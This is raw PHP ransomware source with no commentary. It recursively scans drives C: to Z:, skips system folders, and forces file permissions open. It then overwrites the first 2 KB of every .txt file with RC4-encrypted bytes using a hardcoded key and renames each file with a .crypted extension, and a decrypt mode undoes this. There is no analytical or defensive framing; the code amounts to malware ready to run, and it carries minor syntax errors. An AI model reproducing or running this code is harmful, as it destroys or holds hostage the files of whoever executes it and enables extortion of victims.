set_time_limit(0);
ini_set("display_errors", "Off");
for ($i = 67; $i <= 90; $i++)
    if (is_dir(chr($i).
            ":")) Tree(chr($i).
        ":");

function Tree($p) {
    $s = chr(92);
    $key = base64_decode("MWKTiMwQmcz/3BNKuBBoZMowFGCswDiwjfJX8le8nPBECF60ywI5nN4gRbAbkAmCpuwyVK4IFUyDuA5kTab/Xss4eMAIgNAg10a19Fa4f+xZtB+KSpzumAyAHIDkwCaMyzahjPJY");
/* key:
31 62 93 88 cc 10 99 cc ff dc 13 4a b8 10 68 64 ca 30 14 60 ac c0 38 b0 8d f2 57 f2 57 bc 9c f0 44 08 5e b4 cb 02 39 9c de 20 45 b0 1b 90 09 82 a6 ec 32 54 ae 08 15 4c 83 b8 0e 64 4d a6 ff 5e cb 38 78 c0 08 80 d0 20 d7 46 b5 f4 56 b8 7f ec 59 b4 1f 8a 4a 9c ee 98 0c 80 1c 80 e4 c0 26 8c cb 36 a1 8c f2 58
*/

    $a = "e";
    if (preg_match("/".$s.$s.
            "(winnt|boot|system|windows|tmp|temp|program|appdata|application|roaming|msoffice|temporary|cache)/i", $p) || preg_match("/recycle/i", $p)) return;
    $dp = opendir($p);
    if ($dp === false) return;
    while ($o = readdir($dp))
        if ($o != "." && $o != "..") {
            if (!is_writable($p.$s.$o)) chmod($p.$s.$o, 0777);
            if (is_dir($p.$s.$o)) {
                Tree($p.$s.$o);
            }
            elseif($a == "e" && preg_match("/[.](txt)$/i", $o) || $a == "d" && preg_match("/[.](crypted)$/i", $o)) {
                $file = fopen($p.$s.$o, "r+");
                if ($file !== false) {
                    $first2k = fread($file, 2048);
                    $z = array();
                    for ($i = 0; $i < 256; $i++) $z[$i] = $i;
                    $j = 0;
            // encoding routine:
                    for ($i = 0; $i < 256; $i++) {
                        $j = ($j + $z[$i] + ord($key[$i % strlen($key)])) % 256;
                        $x = $z[$i];
                        $z[$i] = $z[$j];
                        $z[$j] = $x;
                    }

                    $i = 0;
                    $j = 0;
                    $c = "";
                    for ($y = 0; $y < strlen($first2k); $y++) {
                        $i = ($i + 1) % 256;
                        $j = ($j + $z[$i]) % 256;
                        $x = $z[$i];
                        $z[$i] = $z[$j];
                        $z[$j] = $x;
                        $c. = $first2k[$y] ^ chr($z[($z[$i] + $z[$j]) % 256]);
                    }
                    fseek($file, 0);
                    fwrite($file, $c);
                    fclose($file);
                    if ($a == "e") {
                        rename($p.$s.$o, $p.$s.$o.
                            ".crypted");
                    } else {
                        rename($p.$s.$o, preg_replace("/[.]crypted$/", "", $p.$s.$o));
                    }
                }
            }
        }
    closedir($dp);
}
'